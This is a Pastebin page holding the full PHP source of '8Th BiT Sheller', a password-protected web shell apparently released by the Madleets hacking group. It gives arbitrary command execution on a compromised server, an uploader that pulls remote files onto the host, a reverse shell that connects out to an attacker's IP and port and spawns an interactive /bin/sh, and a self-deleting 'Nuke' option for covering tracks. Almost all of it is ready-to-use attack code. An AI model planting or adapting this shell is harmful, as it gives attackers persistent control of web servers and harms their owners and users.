Advertisement
8thbit

8Th BiT Sheller Public Version

Jan 13th, 2014
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.48 KB | None | 0 0
  1. <?php
  2. session_start();
  3. if(isset($_POST['lgn'])){
  4.     $pw = '8thbit0xaf3';
  5.     if($_POST['pw'] == $pw){
  6.     $_SESSION['loggedin'] = 'ok';
  7.     }
  8. }
  9. if(isset($_SESSION['loggedin']) && $_SESSION['loggedin']=="ok"):?>
  10.     <?php
  11.  function Shell_Url(){return $_SERVER['SCRIPT_NAME'];}function Shell($a){return Shell_Exec($a);}$b=dirname(__FILE__)."\\";$c=0;function printit($d){if(!$c){print"$d\n";}}?>
  12.     <html>
  13.         <head>
  14.             <title>8Th BiT Sheller</title>
  15.             <style>
  16.                 body{
  17.                     margin:0px 0px 0px 0px;
  18.                     padding:0px 0px 0px 0px;
  19.                     background-color:#2BBBD8;
  20.                     color:#FFF;
  21.                     font-family:Tahoma, Geneva, sans-serif;
  22.                     font-size:11px;
  23.                 }
  24.                 textarea{
  25.                     background-color: #102E37;
  26.                     color: #F78D3F;
  27.                     border: none;  
  28.                 }
  29.                 input{
  30.                     background-color: #102E37;
  31.                     color: #F78D3F;
  32.                     border: none;              
  33.                 }
  34.                 .nav{
  35.                     background-color:#102E37;  
  36.                     float:left;
  37.                     position:relative;
  38.                     padding:10px 0px 10px 0px;
  39.                     width:100%;
  40.                 }
  41.                 ul.navbar{
  42.                     list-style-type:none;
  43.                     margin:0;
  44.                     padding:0;
  45.                 }
  46.                 ul.navbar li{
  47.                     display:inline;
  48.                 }
  49.                 li a{
  50.                     text-decoration : none;
  51.                     color:#fff;
  52.                     float:left;
  53.                     padding-left:5px;
  54.                     padding-right:5px;
  55.                     text-align:center;
  56.                     border-right:thin #fff;
  57.                     border-right-style:solid;
  58.                 }
  59.                 li:last-child a{
  60.                     border-right:none;
  61.                     border-right-style:none;
  62.                 }
  63.                 .page{
  64.                     padding-left:5px;
  65.                     padding-top:10px;
  66.                     padding-right:40px;
  67.                     float:left;
  68.                     position:relative;
  69.                     margin:0px auto;
  70.                 }
  71.             </style>
  72.             <script type="text/javascript">
  73.    
  74.             </script>
  75.         </head>
  76.         <body>
  77.             <div class="nav">
  78.                 <ul class="navbar">
  79.                     <li> <a href="https://facebook.com/madleets.nameless" target="_new" title="8Th Bit Official Page">8Th BiT Page</a> </li>
  80.                     <li> <a href="http://madleets.com" target="_new" title="Madleets Official">Madleets</a> </li>
  81.                     <li> <a href="<?php echo(Shell_Url());?>">Shell Executer</a></li>
  82.                     <li> <a href="<?php echo(Shell_Url()."?p=upload");?>">File Uploader</a></li>
  83.                     <li> <a href="<?php echo(Shell_Url()."?p=bc");?>">Back Connect</a></li>
  84.                     <li> <a href="<?php echo(Shell_Url()."?p=nuke");?>">Nuke</a></li>
  85.                     <li> <a href="<?php echo(Shell_Url()."?p=logout");?>">Logout</a></li>
  86.                 </ul>
  87.             </div>
  88.             <div class="page">
  89.                 <?php
  90.  if(isset($_GET['p'])){$e=$_GET['p'];if($e=='upload'):?>
  91.                             <?php  $f='';if(isset($_POST['files'])){if(count($_FILES['f']['name'])>0){for($g=0;$g<count($_FILES['f']['name']);$g++){move_uploaded_file($_FILES['f']['tmp_name'][$g],dirname(__FILE__)."\\".$_FILES['f']['name'][$g]);$h=($b.$_FILES['f']['name'][$g]."\r\n");if($h!=$b."\r\n"){$f.=$h;}}}if(isset($_POST['remotefiles'])){$j=explode("\r\n",$_POST['remotefiles']);foreach($j as $k){if($k!=""&&$k!=" "){$m=substr($k,0,strpos($k,'^'));$n=substr($k,strpos($k,'^')+1);$o=file_get_contents($m);file_put_contents($b.$n,$o);$f.=$b.$n."\r\n";}}}}?>
  92.                             <form name="upload" method="post" enctype="multipart/form-data">
  93.                                 <input type="hidden" name="files" value="1"/>
  94.                                 <input multiple value="File Upload01"  type="file" name="f[]" />
  95.                                 <input type="submit" value="Upload" /><br><br>
  96.                                 <textarea cols="50" rows="10" name="remotefiles" placeholder="http://example.com/file.txt^local.txt"></textarea>  <br>                        
  97.                                 <textarea readonly id="logs" rows="10" cols="50" name="logs"><?php if(isset($f)){echo $f;}?></textarea><br>
  98.                             </form>
  99.                         <?php elseif($e=='bc'):?>
  100.                             <?php
  101.  if(isset($_POST['bc'])){set_time_limit(0);$q="1.0";$r=$_POST['ip'];$s=$_POST['port'];$t=1400;$u=null;$v=null;$w='uname -a; w; id; /bin/sh -i';$c=0;$x=0;if(function_exists('pcntl_fork')){$y=pcntl_fork();if($y==-1){printit("ERROR: Can't fork");exit(1);}if($y){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$c=1;}else{printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);$z=fsockopen($r,$s,$aa,$bb,30);if(!$z){printit("$bb ($aa)");exit(1);}$cc=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$dd=proc_open($w,$cc,$ee);if(!is_resource($dd)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($ee[0],0);stream_set_blocking($ee[1],0);stream_set_blocking($ee[2],0);stream_set_blocking($z,0);printit("Successfully opened reverse shell to $r:$s");while(1){if(feof($z)){printit("ERROR: Shell connection terminated");break;}if(feof($ee[1])){printit("ERROR: Shell process terminated");break;}$ff=array($z,$ee[1],$ee[2]);$gg=stream_select($ff,$u,$v,null);if(in_array($z,$ff)){if($x)printit("SOCK READ");$hh=fread($z,$t);if($x)printit("SOCK: $hh");fwrite($ee[0],$hh);}if(in_array($ee[1],$ff)){if($x)printit("STDOUT READ");$hh=fread($ee[1],$t);if($x)printit("STDOUT: $hh");fwrite($z,$hh);}if(in_array($ee[2],$ff)){if($x)printit("STDERR READ");$hh=fread($ee[2],$t);if($x)printit("STDERR: $hh");fwrite($z,$hh);}}fclose($z);fclose($ee[0]);fclose($ee[1]);fclose($ee[2]);proc_close($dd);}?>
  102.                             <form name="backconnect" method="post">
  103.                                 <input type="hidden" name="bc" value="1"/>
  104.                                 <input type="text" name="ip" placeholder="2.180.100.10" />
  105.                                 <input type="number" name="port" placeholder="PORT" />
  106.                                 <input type="submit" value="Connect!" /><br><br>
  107.                             </form>
  108.                         <?php elseif($e=='nuke'):?>
  109.                         <?php if(isset($_POST['nuke'])){unlink($_SERVER['SCRIPT_FILENAME']);}?>
  110.                         <form name="Nuke" method="post" >
  111.                             <input type="hidden" name="nuke" value="1" />
  112.                             <textarea readonly id="message" rows="1" cols="50" name="nukemessage">Do You Want Remove The Shell?</textarea><br>
  113.                             <input style="width: 50px;margin-left: 5px;" autofocus  type="submit" name="submit" value="Yes" width="50px"/>
  114.                         </form>
  115.                         <?php elseif($e=='logout'):?>
  116.                             <?php
  117.  $_SESSION['loggedin']="123";unset($_SESSION['loggedin']);header("Location: ".Shell_Url());?>
  118.                         <?php endif;?>
  119.               <?php
  120. }else{?>
  121.                         <form name="executer" method="post" >
  122.                             <input type="hidden" name="exec" value="1" />
  123.                             <textarea readonly id="res" rows="20" cols="80" name="txtarea"> <?php
  124.  if(isset($_POST['exec'])&&$_POST['exec']=='1'){$ii=$_POST['txtarea'];if($_POST['command']=="cls"||$_POST['command']=="clear"){$ii='';}else{$jj=Shell($_POST['command']);$ii=$ii.$jj;}echo($ii);}?></textarea><br>
  125.                             <input style="margin-left:1px;width:600px;" name="command" type="text" required autofocus autocomplete="off"/>
  126.                             <input style="width: 50px;margin-left: 5px;"  type="submit" name="submit" value="Exec" width="50px"/>
  127.                         </form>
  128.               <?php }?>
  129.             </div>
  130.         </body>
  131.     </html>
  132.  
  133. <?php else:?>
  134.     <div style="margin:30px auto;">
  135.     <form name="login" method="post" >
  136.         <input type="hidden" name="lgn"/>
  137.         <input type="password" name="pw" />
  138.         <input type="submit" value="Login" />
  139.     </form>
  140.     </div>
  141. <?php endif;?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement